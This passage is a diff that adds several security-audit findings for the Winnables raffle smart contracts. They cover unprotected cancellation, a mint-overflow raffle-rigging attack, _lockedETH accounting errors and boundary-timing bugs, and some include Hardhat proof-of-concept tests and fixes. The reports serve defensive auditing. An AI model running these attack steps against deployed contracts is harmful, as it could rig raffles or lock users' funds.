is the safer choice. If public cancellation is a desired feature, Option 2 with robust checks can mitigate the risks while maintaining the open functionality. \ No newline at end of file diff --git a/001/336.md b/001/336.md new file mode 100644 index 0000000..5db64e5 --- /dev/null +++ b/001/336.md @@ -0,0 +1,67 @@ +Ripe Emerald Dragon + +High + +# Attacker can set prize manager address of CCIP message as whatever he wants. + +## Summary +Attacker can set prize manager address of CCIP message from `WinnablesTicketManager` as whatever he wants. +Exploiting this vulnerability, attacker can prevent admin or winner of raffle from withdrawing or claiming the locked prize. + +## Vulnerability Detail +`WinnablesTicketManager.cancelRaffle()` function can be called by anyone because it doesn't have access modifier such as `onlyRole(0)` as follows. +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; +282: _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +Exploiting this vulnerability, attacker can call `cancelRaffle()` functions by passing an address which is not the address of `WinnablesPrizeManager` contract as `prizeManager` parameter. +Then, the CCIP message of `L282` is not transferred to the `WinnablesPrizeManager` contract. +Therefore, the locked funds for the `raffleId` in `WinnablesPrizeManager` contract can't be withdrawed by admin and are locked forever. + +Example: +1. Admin locked `10 ethers` for `raffleId` in `WinnablesPrizeManager`. Then the CCIP message will be transferred to the `WinnablesTicketManager` of avalanche network. +2. Admin creates a raffle with `raffleId` in `WinnablesTicketManager`. +3. After time passed `endsAt`, the number of participants is less than `minTicketsThreshold`. +4. Attacker calls `cancelRaffle()` function before any other users by passing wrong address as `prizeManager` parameter. +5. Since the cancelling CCIP message is never transferred to the `WinnablesPrizeManager` contract, the locked funds of `10 ethers` are never unlocked and admin can never withdraw the locked funds for the very cancelled raffle. + +The same problem also exists in the `WinnablesTicketManager.propagateRaffleWinner()` function. + +## Impact +Attacker can set prize manager address of CCIP message as whatever he wants. +It prevents admin or winner of raffle from withdrawing or claiming the locked prize. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +## Tool used + +Manual Review + +## Recommendation +Modify `WinnablesTicketManager.cancelRaffle()` function as follows. +```solidity +-- function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +++ function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external onlyRole(0) { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +Modify `WinnablesTicketManager.propagateRaffleWinner()` function the same way. diff --git a/001/337.md b/001/337.md new file mode 100644 index 0000000..d576840 --- /dev/null +++ b/001/337.md @@ -0,0 +1,116 @@ +Zesty Carrot Mockingbird + +High + +# WinnableTicket.sol mint can be overflowed allowing malicious admin to steal tickets + +### Summary + +This breaks the invariants specified by the sponser: + +- Admins cannot affect the odds of a raffle +- Winnables admins cannot do anything to prevent a winner from withdrawing their prize (malicious admin is stealing prize from rightful winner) + +Steps: + +1. A raffle is created and users enter normally. +2. just before the raffle closes, malicious admin performs several transactions. +3. first they mint x tickets to themselves such that _supplies[id] = 0 through an overflow and _balances[id][adminAddress] = x. This sets _ticketOwnership[id][0] to the admin address, which previously was the first user to mint tickets. +4. next they mint y tickets such that the next ticket minted will override the _ticketOwnership[id][startId] = secondUserAddress to their own address. the admin can repeat this in such a way that given enough gas, the admin address is returned for all possible ticket ids when ownerOf is called. A more efficient attack will only continue until supplyOf(ticketId) is equal to the minimum tickets sold for a drawing to happen. +5. When the winning ticket is drawn it gets the totalSupply(id) of the raffle, which will return with total amount the malicious admin minted after overflowing _supplies[id] to 0. +6. the owner of all id's considered for the raffle winner will be the malicious admin, guaranteeing them the prize. + +### Root Cause + +WinnablesTicket.sol allows the admin to mint tickets. The sponsors have said that admins granting free tickets is expected and granting themselves free tickets only reduces their earnings potential because of the existence of max ticket supply. However the mint function in WinnablesTicket.sol has this unchecked addition to supplies: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199 + +with no validation of the amount. an admin can effectively set supplies to whatever amount they choose with an overflow. + + +### Attack Path + +Admin of WinnableTicket.sol grants themselves minter role, and directly calls mint() function. + +### Impact + +Raffles can be rigged to guarentee malicious admin wins the raffle. + +### PoC + +I have provided a test showing how an admin can steal user funds here. This is meant to be added to the 'Ownership and admin functions' portion of ticket.js. + +```javascript +it('mints ticket, overflows supplies, passess', async () => { + await (await ticket.setRole(signers[0].address, 1, true)).wait(); + // mint tickets to user, simulate raffle + // startid - 0 + await (await ticket.mint(signers[1].address, 1, BigNumber.from(10))).wait(); + // balance user - 10 + // userStartId - 0 + // ticketOwnership[1][0] = user + // balance admin - 0 + // supply - 10 + expect(await ticket.balanceOf(signers[1].address, 1)).to.eq(BigNumber.from(10)); + expect(await ticket.ownerOf(1, 9)).to.eq(signers[1].address) + console.log('supplyOf before overflow', await ticket.supplyOf(1)); + + // mint up to 2^256 - 10 tickets to self, overflowing the supply to 0 + await (await ticket.mint(signers[0].address, 1, BigNumber.from(2).pow(256).sub(10))).wait(); + expect(await ticket.supplyOf(1)).to.eq(BigNumber.from(0)); + // admin has stolen users tickets, but needs to remint them + // expect(await ticket.ownerOf(1, 9)).to.eq(signers[0].address); + console.log('supplyOf after overflow', await ticket.supplyOf(1)); + // balance user - 10 + // adminstartId - 0 + // ticketOwnership[1][0] = admin + // balance admin - 2^256 - 10 + // supply - 0 + // mint 20 more tickets to self, stealing first users tickets + await (await ticket.mint(signers[0].address, 1, BigNumber.from(20))).wait(); + // balance user - 10 + // adminStartId - 0 + // balance admin - 10 + + + console.log('supplyOf after minting 10 more', await ticket.supplyOf(1)); + console.log('balanceOf self', await ticket.balanceOf(signers[0].address, 1)); + expect(await ticket.balanceOf(signers[0].address, 1)).to.eq(10); + expect(await ticket.supplyOf(1)).to.eq(20); + // at this point, token.supplyOf is 20 and balance of admin is 10. + // but, ownerOf will show that admin owns all tickets, as it is the last one to mint. + // since uint256 winningTicketNumber = request.randomWord % supply; + // the winning ticket number will be randomword % 20, or between 0 or 19. + // the winning address is determined by 'return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, + // winningTicketNumber);' + // all possible ticket ids will show the malicious admin as the owner. + expect(await ticket.ownerOf(1, 19)).to.eq(signers[0].address); + }); +``` + + + +### Mitigation + +remove the unchecked code block in WinnablesTicket.mint(). + +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + + _balances[id][to] += amount; + _supplies[id] = startId + amount; + + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` \ No newline at end of file diff --git a/001/338.md b/001/338.md new file mode 100644 index 0000000..c76607a --- /dev/null +++ b/001/338.md @@ -0,0 +1,177 @@ +Energetic Raisin Mockingbird + +High + +# WinnablesTicketManager.sol :: withdrawETH() if a raffle is canceled and refundPlayers() is called, not all the funds from the next ticket sales can be withdrawn, resulting in some of the funds being permanently stuck in the contract. + +## Summary +**`withdrawETH()`** is used to withdraw ETH from a canceled raffle or ticket sales. The issue arises when a raffle is canceled, and **`refundPlayers()`** is called, but the **`_lockedETH`** variable is not updated. This result is some of the ETH from the next ticket sales being permanently stuck in the contract forever, unable to be withdrawn. +## Vulnerability Detail +**`refundPlayers()`** is used to return the ETH spent on tickets for a raffle that has been canceled. +```Solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +As you can see, the ETH is sent to the users, but the **`_lockedETH`** is not updated. This value represents all the ETH sent to the contract for purchased tickets. The issue becomes clear when examining **`withdrawETH()`**. +```Solidity +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +Earlier, we observed that when **`refundPlayers()`** is called, **`_lockedETH`** is not decreased, even though the contract's balance **`(address(this).balance)`** is reduced as ETH is sent back to users who purchased tickets. This causes an imbalance in the contract because **`_lockedETH`** is never updated for canceled raffles. +As a result, not all ETH can be withdrawn from the contract since **`_lockedETH`** will never reach zero if even one raffle is canceled, preventing full withdrawal of ETH from the next ticket sales. Let’s go through an example to clarify this issue further. +- A raffle is created with each ticket priced at 1 ether. +- Bob and Alice each buy 1 ticket, bringing the **`contract balance`**, **`raffle.totalRaised`**, and **`_lockedETH`** to 2 ether. +- The raffle is canceled for some reason. +- **`refundPlayers()`** is called for Bob and Alice, reducing the **`contract balance`** to 0 ether, but **`_lockedETH`** remains at 2 ether. +- A new raffle is created, again with each ticket priced at 1 ether. +- Carl buys 5 tickets, raising the **`contract balance`** to 5 ether, **`raffle.totalRaised`** to 5 ether, and **`_lockedETH`** to 7 ether (2 ether from the canceled raffle and 5 from the current raffle). +- The raffle concludes, and the admin wants to withdraw the profits. When [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L343) is called, **`_lockedETH -= raffle.totalRaised`** is calculated to release the ticket sales profits. However, **`_lockedETH`** is 7 ether, and **`raffle.totalRaised`** is 5 ether, so **`_lockedETH`** becomes 2 ether (the amount from the canceled raffle). +- The admin then calls **`withdrawETH()`**. The contract balance is 5 ether, but **`_lockedETH`** is 2 ether, so the withdrawable balance is **`address(this).balance - _lockedETH = 5 - 2 = 3 ether`**. The admin can only withdraw 3 ether instead of 5, leaving 2 ether stuck in the contract forever. +## POC +To see the problem copy the following POC in **`TicketManager.sol`** inside **`describe('Cancellation with tickets threshold not reached')`**. +```js +it('Not all the benefits can be withdrawn', async () => { + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + + //locktokens + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + + //crate raffle + const now = await blockTime(); + await manager.createRaffle( + 1, + now, + now + timeSeconds.hour, + 50, + 500, + 10 + ); + + //buy tickets + buyer2 = await getWalletWithEthers(); + const currentBlock = await ethers.provider.getBlockNumber(); + const sig = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + buyer2.address, + 0, + 1, + 10, + currentBlock + 10, + 100 + ]) + )); + + await manager.connect(buyer2).buyTickets(1, 10, currentBlock + 10, sig, { value: 100 }) + + //cancel raffle and refund user + await helpers.time.increase(timeSeconds.hour); + await manager.cancelRaffle(counterpartContractAddress, 1, 1); + await manager.refundPlayers(1, [buyer2.address]); + + //lock tokens for the raffle2 + await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000002', + destTokenAmounts: [] + }) + + ); + + //create raffle2 + const now2 = await blockTime(); + await manager.createRaffle( + 2, + now2, + now2 + timeSeconds.hour, + 5, + 500, + 10 + ); + + //buy tickets for raffle2 + buyer1 = await getWalletWithEthers(); + const currentBlock2 = await ethers.provider.getBlockNumber(); + const sig2 = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + buyer1.address, + 0, + 2, //raffleid + 10, //ticket count + currentBlock2 + 10, + 500 //price + ]) + )); + + await manager.connect(buyer1).buyTickets(2, 10, currentBlock2 + 10, sig2, { value: 500 }) + + //pick a winner + await helpers.time.increase(timeSeconds.hour); + await manager.drawWinner(2); + await (await coordinator.fulfillRandomWordsWithOverride(1, manager.address, [randomWord()])).wait(); + await manager.propagateRaffleWinner(counterpartContractAddress, 1, 2) + + //withdraw the benefits + await manager.withdrawETH(); + const contractBalance = await ethers.provider.getBalance(manager.address); + //The balance is not zero because _lockedETH is 100 from the canceled first raffle. + //Therefore only 400 can be withdrawn, address(this).balance - _lockedETH = 500 - 100 = 400, resultingin 100 funds being locked in the contract indefinitely. + expect(contractBalance).to.eq(100); + }); +``` +As you can see, the contract balance should be zero, but that’s not the case. +## Impact +Not all the ETH from ticket sales can be withdrawn, leaving some funds permanently stuck in the contract. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292-L306 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L343 +## Tool used +Manual Review. +## Recommendation +To resolve this issue, subtract the refunded ETH from **`_lockedETH`** when **`refundPlayers()`** is called. +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); ++ _lockedETH -= amountToSend ; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` \ No newline at end of file diff --git a/001/340.md b/001/340.md new file mode 100644 index 0000000..f083dd3 --- /dev/null +++ b/001/340.md @@ -0,0 +1,65 @@ +Upbeat Merlot Monkey + +Medium + +# Attacker can cancel raffle when there is exactly minimum participants. + +## Summary +When there is exactly minimum participants, both drawing winner and cancelling raffle are available at the same time. +Attacker can exploit this vulnerability and cancel the raffle. + +## Vulnerability Detail +When tickets sale period finishes, anyone can call `WinnablesTicketManager.drawWinner()` which in turn calls the following `_checkShouldDraw()` to validate some conditions. +```solidity + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } +431 if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` +From `L431`, the sold ticket count should be equal or larger than minimum threshold to start drawing winner. +On the other hand, attacker can call `WinnablesTicketManager.cancelRaffle()` which in turn calls the following `_checkShouldCancel()`. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +440 if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +From `L440`, the sold ticket count should be less or equal than minimum threshold to cancel raffle. +As a result, when the sold ticket count is equal to minimum threshold, both drawing winner and canceling raffle are available. +Attacker can cancel the raffle before any other users drawing winner in such a case + +## Impact +Attacker can cancel raffle when there is exactly minimum participants and this means DoS of core function of contract. + +## Code Snippet +- [WinnablesTicketManager._checkShouldDraw()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L431) +- [WinnablesTicketManager._checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440) + +## Tool used + +Manual Review + +## Recommendation +Modify `WinnablesTicketManager._checkShouldDraw()` function as follows. +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` diff --git a/001/341.md b/001/341.md new file mode 100644 index 0000000..473155c --- /dev/null +++ b/001/341.md @@ -0,0 +1,107 @@ +Breezy Amethyst Penguin + +Medium + +# When `block.timestamp` equals corresponding raffle's `endsAt` in which such raffle's purchase period is not ended, `WinnablesTicketManager._checkShouldDraw` function does not revert given that its `maxTicketSupply` is not reached and `WinnablesTicketManager._checkShouldCancel` function does not revert, which cause winner to still be drawn for such raffle before its `maxTicketSupply` is reached and alternatively such raffle to still be canceled before its purchase period is finished though such raffle should not be allowed to draw a winner or be canceled in this case + +### Summary + +When `block.timestamp` equals the corresponding raffle's `endsAt` in which such raffle's purchase period is not ended, the `WinnablesTicketManager._checkShouldDraw` function does not revert given that its `maxTicketSupply` is not reached, and the `WinnablesTicketManager._checkShouldCancel` function does not revert either. Although the raffle should not be allowed to draw a winner or be canceled in this case, the winner can still be drawn for such raffle before its `maxTicketSupply` is reached, and alternatively such raffle can still be canceled before its purchase period is finished. Furthermore, if a participant's `WinnablesTicketManager.buyTickets` transaction is executed after such drawing or cancellation in the same block, such participant's `WinnablesTicketManager.buyTickets` transaction reverts, and he is denied from purchasing tickets of such raffle though he should be allowed to. + +### Root Cause + +The `WinnablesTicketManager._checkShouldDraw` function does not revert if `block.timestamp` equals the corresponding raffle's `endsAt` when its `maxTicketSupply` is not reached. Moreover, the `WinnablesTicketManager._checkShouldCancel` function does not revert if `block.timestamp` equals the corresponding raffle's `endsAt`. + +### Internal pre-conditions + +Not applicable + +### External pre-conditions + +1. The block to be included and executed has `block.timestamp` equaling the corresponding raffle's `endsAt`. + +### Attack Path + +1. Such raffle's purchase period is not ended since the corresponding block's `block.timestamp` equals its `endsAt`. +2. Although such raffle's `maxTicketSupply` is not reached yet, the `WinnablesTicketManager.drawWinner` transaction, which further calls the `WinnablesTicketManager._checkShouldDraw` function, can be executed in the corresponding block. + - This causes the winner to be drawn for such raffle given that its `minTicketsThreshold` has been reached even though its winner should not be allowed to be drawn when its purchase period is not finished and its `maxTicketSupply` is not reached. +3. Alternatively, although such raffle's purchase period is not ended, the `WinnablesTicketManager.cancelRaffle` transaction, which further calls the `WinnablesTicketManager._checkShouldCancel` function, can be executed in the corresponding block. + - This causes such raffle to be canceled given that its `minTicketsThreshold` has not been reached even though it should not be allowed to be canceled when its purchase period is not finished. +4. If a participant's `WinnablesTicketManager.buyTickets` transaction is executed after such drawing or cancellation in the same block, such participant's `WinnablesTicketManager.buyTickets` transaction would revert, and he is denied from purchasing tickets of such raffle even though he should be allowed to. + +### Impact + +When `block.timestamp` equals a raffle's `endsAt` in which such raffle's purchase period is not ended, such raffle's winner should not be allowed to be drawn if its `maxTicketSupply` is not reached, and such raffle should not be allowed to be canceled. However, the winner can still be drawn for such raffle before its `maxTicketSupply` is reached, and alternatively such raffle can still be canceled before its purchase period is finished. Also, the participant, whose `WinnablesTicketManager.buyTickets` transaction gets executed after such drawing or cancellation in the same block, is forced to revert his `WinnablesTicketManager.buyTickets` transaction and denied from purchasing tickets of such raffle though he should be allowed to. + +### PoC + +Because the `WinnablesTicketManager._checkTicketPurchaseable` function executes `if (block.timestamp > raffle.endsAt) revert RaffleHasEnded()`, the raffle's purchase period is not ended when `block.timestamp` equals its `endsAt`. When the participant's `WinnablesTicketManager.buyTickets` transaction is included in the block whose `block.timestamp` equals the raffle's `endsAt`, such participant should be allowed to buy such raffle's tickets. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L407-L420 +```solidity + function _checkTicketPurchaseable(uint256 raffleId, uint256 ticketCount) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.startsAt > block.timestamp) revert RaffleHasNotStarted(); + if (raffle.status != RaffleStatus.IDLE) revert RaffleHasEnded(); +@> if (block.timestamp > raffle.endsAt) revert RaffleHasEnded(); + uint256 ticketPurchased = uint256(uint32(uint256(raffle.participations[msg.sender]) >> 128)); + unchecked { + if (ticketPurchased + ticketCount > raffle.maxHoldings) revert TooManyTickets(); + } + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + unchecked { + if (supply + ticketCount > raffle.maxTicketSupply) revert TooManyTickets(); + } + } +``` + +However, when `block.timestamp` equals the raffle's `endsAt`, calling the `WinnablesTicketManager.drawWinner` function, which further calls the `WinnablesTicketManager._checkShouldDraw` function, does not revert even if such raffle's `maxTicketSupply` is not reached given that such raffle's `minTicketsThreshold` has been reached because the `WinnablesTicketManager._checkShouldDraw` function does not revert if `block.timestamp < raffle.endsAt` is false. + +Since the raffle's purchase period is not ended when `block.timestamp` equals such raffle's `endsAt`, such raffle should only allow its winner to be drawn if its `maxTicketSupply` is reached. Yet, such `WinnablesTicketManager.drawWinner` transaction can be executed in the block whose `block.timestamp` equals such raffle's `endsAt`, causing the winner to be drawn for such raffle before its `maxTicketSupply` is reached. Moreover, if the `WinnablesTicketManager.drawWinner` transaction is executed before the previously described `WinnablesTicketManager.buyTickets` transaction in the same block, such `WinnablesTicketManager.buyTickets` transaction would revert, and the corresponding participant is denied from purchasing tickets of such raffle even though he should be allowed to. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432 +```solidity + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + +@> if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` + +Alternatively, when `block.timestamp` equals the raffle's `endsAt`, calling the `WinnablesTicketManager.cancelRaffle` function, which further calls the `WinnablesTicketManager._checkShouldCancel` function, does not revert given that such raffle's `minTicketsThreshold` has not been reached since the `WinnablesTicketManager._checkShouldCancel` function does not revert if `raffle.endsAt > block.timestamp` is false. + +Because the raffle's purchase period is not ended when `block.timestamp` equals such raffle's `endsAt`, more tickets of such raffle can be purchased to reach its `minTicketsThreshold` at that time, and such raffle should not be allowed to be canceled. However, such `WinnablesTicketManager.cancelRaffle` transaction can be executed in the block whose `block.timestamp` equals such raffle's `endsAt`, which causes such raffle to be canceled before its purchase period is finished. Furthermore, if the `WinnablesTicketManager.cancelRaffle` transaction is executed before the previously described `WinnablesTicketManager.buyTickets` transaction in the same block, such `WinnablesTicketManager.buyTickets` transaction would revert, and the corresponding participant is denied from purchasing tickets of such raffle even though he should be allowed to. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); +@> if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +### Mitigation + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L428-L430 can be updated to the following code. + +```solidity + if (block.timestamp <= raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } +``` + +Also, https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L438 can be updated to the following code. + +```solidity + if (raffle.endsAt >= block.timestamp) revert RaffleIsStillOpen(); +``` \ No newline at end of file diff --git a/001/343.md b/001/343.md new file mode 100644 index 0000000..616f3c0 --- /dev/null +++ b/001/343.md @@ -0,0 +1,77 @@ +Quick Lace Boa + +Medium + +# The `WinnablesTicketManager` inconsistently tracks `_lockedETH`. + +## Summary +The `WinnablesTicketManager` inconsistently tracks `_lockedETH`. + +## Vulnerability Detail +The contract uses a global `_lockedETH` variable to track ETH that should be reserved for active raffles or pending refunds. However, this variable is not consistently updated across all relevant functions, particularly in the `refundPlayers` function. + +The inconsistency arises from the following issues: +1. The `buyTickets` function increases `_lockedETH` when tickets are purchased. +2. The `refundPlayers` function issues refunds but fails to decrease `_lockedETH`. +3. The `withdrawETH` function calculates available ETH based on `_lockedETH`, which can lead to underflows. +4. The `propagateRaffleWinner` function decreases `_lockedETH` based on potentially inconsistent data. + +This leads to a scenario where `_lockedETH` becomes higher than the actual amount of ETH that should be locked, causing issues in fund management. + +## Impact +The vulnerability can lead to severalissues: + - Denial of Service: The contract may enter a state where `withdrawETH` always reverts, preventing any ETH withdrawal. + - Incorrect raffle operations: Future raffles may operate with incorrect assumptions about available funds. + - Loss of user funds: Users may be unable to claim refunds or prizes due to incorrect ETH accounting. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L41-L42 +@WinnablesTicketManager.sol +```solidity +function buyTickets(...) external payable { + // ... + unchecked { + _lockedETH += msg.value; + } + // ... +} + +function refundPlayers(uint256 raffleId, address[] calldata players) external { + // ... + _sendETH(amountToSend, player); + // Note: _lockedETH is not updated here + // ... +} + +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); +} + +function propagateRaffleWinner(...) external { + // ... + unchecked { + _lockedETH -= raffle.totalRaised; + } + // ... +} +``` + +## Tool used +Manual Review + +## Recommendation + +Update the locked ETH amount in all relevant functions: +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + // ... + _raffleLockedETH[raffleId] -= amountToSend; + _sendETH(amountToSend, player); + // ... +} +``` + diff --git a/001/344.md b/001/344.md new file mode 100644 index 0000000..45951fb --- /dev/null +++ b/001/344.md @@ -0,0 +1,63 @@ +Tall Brown Goose + +High + +# _lockedETH is not decreased on refunding players in WinnablesTicketManager contract + +## Summary + +Storage variable `_lockedETH` is not decreased when refunding players. + +## Vulnerability Detail + +The storage variable that keeps track of how much ether must be locked on the contract is not decreased when users are refunded. This means `_lockedETH` variable does not correctly represent the amount of ether that is presumably locked for various purposes. Balance of ether on the contract can be less than `_lockedETH` value. This can cause underflow in `withdrawETH` function. +Note - Auction must be canceled in order to be able to refund players. + +## Impact + +There will be an underflow in `withdrawETH` function when calculating available ether to withdraw. So that function will become unusable. + +Admin can't withdraw funds made from ticket sales. + +## POC + +1. Make `_lockedETH` variable public -> `uint256 public _lockedETH;` +2. Add these lines at the end of TicketManager.js - `'Should be able to refund tickets purchased'` unit test: + +```javascript +const lockedETH = await manager._lockedETH(); +expect(lockedETH).to.be.greaterThan(contractBalanceAfter); +console.log('Contract balance:', contractBalanceAfter.toString()); +console.log('lockedETH variable: ', lockedETH); +``` + + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215C1-L228C6 + +## Tool used + +Manual Review + +## Recommendation + +Decrease `_lockedETH` variable with value refunded from the contract: + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _lockedETH -= amountToSend; // @audit added this line + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } 